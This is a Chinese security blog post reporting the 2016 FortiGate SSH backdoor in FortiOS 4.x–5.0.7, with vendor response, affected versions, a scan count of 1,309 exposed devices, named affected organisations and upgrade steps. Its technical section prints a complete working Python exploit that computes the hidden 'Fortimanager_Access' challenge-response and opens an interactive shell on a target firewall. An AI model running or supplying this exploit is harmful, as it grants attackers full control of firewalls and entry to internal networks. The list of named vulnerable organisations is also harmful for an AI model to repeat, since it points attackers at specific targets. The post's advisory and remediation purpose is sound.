飞塔后门?FortiGate 疑似存在SSH后门(影响4.0 到 5.0.7版本)

LubyRuffy  2998天前

概要介绍

1月12日,twitter上用户@esizkur 发表信息说Fortigate存在ssh后门,影响版本从4.0到5.0.7,并在给出的链接中附上了完整的攻击利用代码。根据披露的信息显示,攻击者可以通过这个后门直接获取防火墙控制权限,完整接管设备进行操作,比如可以将流量进行转向窃听,甚至直接开启VPN进入企业内网。

1月13日,飞塔公司正式发布了声明,说是一个2014年就被内部安全审查发现的问题,属于管理协议的bug而不是大家讨论的后门,并且说没有得到明确的报告说设备在互联网被黑客攻击。

FortiiGate网络安全平台是由Fortinet(飞塔)公司推出的网络防火墙产品,包括高性能数据中心防火墙和NGFW(下一代防火墙)以及UTM( 统一威胁管理)。Fortinet公司(飞塔)在美国纳斯达克上司(NASDAQ:FTNT),是一家全球性的网络安全设备供应商,也是统一威胁管理(UTM)市场的领导者。

技术分析

https://twitter.com/esizkur/status/686842135501508608

Clipboard Image.png

twitter给出的链接正文中写出了利用代码。

执行成功的效果:

Clipboard Image.png

利用脚本

http://seclists.org/fulldisclosure/2016/Jan/26

#!/usr/bin/env python


# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
# Usage: ./fgt_ssh_backdoor.py <target-ip>

import socket
import select
import sys
import paramiko
from paramiko.py3compat import u
import base64
import hashlib
import termios
import tty

def custom_handler(title, instructions, prompt_list):
? ? n = prompt_list[0][0]
? ? m = hashlib.sha1()
? ? m.update('\x00' * 12)
? ? m.update(n + 'FGTAbc11*xy+Qqz27')
? ? m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
? ? h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
? ? return [h]

def main():
? ? if len(sys.argv) < 2:
? ? ? ? print 'Usage: ' + sys.argv[0] + ' <target-ip>'
? ? ? ? exit(-1)

? ? client = paramiko.SSHClient()
? ? client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

? ? try:
? ? ? ? client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
? ? except paramiko.ssh_exception.SSHException:
? ? ? ? pass

? ? trans = client.get_transport()
? ? try:
? ? ? ? trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
? ? except paramiko.ssh_exception.AuthenticationException:
? ? ? ? pass

? ? trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
? ? chan = client.invoke_shell()

? ? oldtty = termios.tcgetattr(sys.stdin)
? ? try:
? ? ? ? tty.setraw(sys.stdin.fileno())
? ? ? ? tty.setcbreak(sys.stdin.fileno())
? ? ? ? chan.settimeout(0.0)

? ? ? ? while True:
? ? ? ? ? ? r, w, e = select.select([chan, sys.stdin], [], [])
? ? ? ? ? ? if chan in r:
? ? ? ? ? ? ? ? try:
? ? ? ? ? ? ? ? ? ? x = u(chan.recv(1024))
? ? ? ? ? ? ? ? ? ? if len(x) == 0:
? ? ? ? ? ? ? ? ? ? ? ? sys.stdout.write('\r\n*** EOF\r\n')
? ? ? ? ? ? ? ? ? ? ? ? break
? ? ? ? ? ? ? ? ? ? sys.stdout.write(x)
? ? ? ? ? ? ? ? ? ? sys.stdout.flush()
? ? ? ? ? ? ? ? except socket.timeout:
? ? ? ? ? ? ? ? ? ? pass
? ? ? ? ? ? if sys.stdin in r:
? ? ? ? ? ? ? ? x = sys.stdin.read(1)
? ? ? ? ? ? ? ? if len(x) == 0:
? ? ? ? ? ? ? ? ? ? break
? ? ? ? ? ? ? ? chan.send(x)
? ? finally:
? ? ? ? termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)

if __name__ == '__main__':
? ? main()

很多技术专家在讨论的时候,说这个是对应https://www.cvedetails.com/cve/CVE-2014-2216/,后来经过CVE-2014-2216发现者确认不是同一个。

随后,esizkur对技术细节进行了进一步的披露:

At least the FortiOS backdoor uses a challenge-reponse mechanism and not a static password. 至少这个FortiOS后门用了“挑战-响应”机制而不是一个静态密码。

这里Fortimanager_Access用户的的密码是用简单的算法来生成密码的,所以每次ssh Fortimanager_Access@xxx.xxx.xx.xx都可以看到返回一串数字

Clipboard Image.png

利用返回的数字结合exp中的字符串就能得到验证的密码

Clipboard Image.png

Clipboard Image.png

得到生成验证的字符串然后就能登入

Clipboard Image.png


Clipboard Image.png


影响范围

受影响的产品

l ?FortiOS 4.3.0-4.3.16   

l ?FortiOS 5.0.0-5.0.7

攻击者能利用此漏洞直接获取Fortigate最高管理权限,可以控制设备进行比如抓取流量监听,dns欺骗,建立隧道进入企业内网等攻击行为。.

白帽汇安全团队在1月13日对全国使用fortigate的地址进行了扫描,共发现1309个设备受影响,省份排名前三分别是:黑龙江省,上海市,吉林省,广东省,江苏省,北京市。

Clipboard Image.png

目前确认受影响的厂商包含:爱婴室,重庆金融,深联创,中国石化,阿拉善盟公安局,纳金商城,通化市中心医院,南南铝箔,凉城县广电局,四川省电信公司,黄石市图书馆,鼎新影院等。

修复方案

目前官方已经进行了说明,没有补丁形式,不过可以通过版本升级的方式解决该问题。

  • FortiOS分支4.3:升级到FortiOS 4.3.17或更高版本 
  • FortiOS分支5.0:升级到FortiOS 5.0.8或更高版本

FortiGate升级方式有:console串口命令行下、telnet命令行下、web页面操作。最新的固件(firmware build)可以去官方网站http://support.fortinet.com/下载或者从飞塔公司技术工程师获取。

Web界面升级方式:

1. 拷贝firmware image文件到本地主机;

2. 用管理员用户登陆到Web界面;

3. 进入到系统管理->状态->系统信息->软件版本 升级;

4. 选择软件版本-> [升级]

5. 直接输入firmware image文件的详细路径, 或点“浏览”选择本地升级文件;

6. 选择OK.?

升级过程防火墙会自动重启,大概需要3-5分钟时间。

如果条件限制不能及时升级版本,可以通过限制SSH连接的IP地址过滤的方式来进行,条件支持的情况下尽量不要将SSH对公网开放。


待解答问题:

  1. 飞塔官方说影响4.3.8以上的版本,但是实际测试中已经发现了4.0版本受影响

最新评论

1331688  :  这么厉害?
2998天前 回复
LubyRuffy  :  @1331688 哪里厉害?
2998天前 回复
xieyunzi  :  都喜欢留后门
2997天前 回复
Heroes  :  哎呀**呀,看把人家fortinet吓的,把产品介绍页面都下线了 **://**.fortinet.com.cn/products/fortigate/ 已经404了
2997天前 回复
gethin  :  牛**
2997天前 回复
昵称
邮箱
提交评论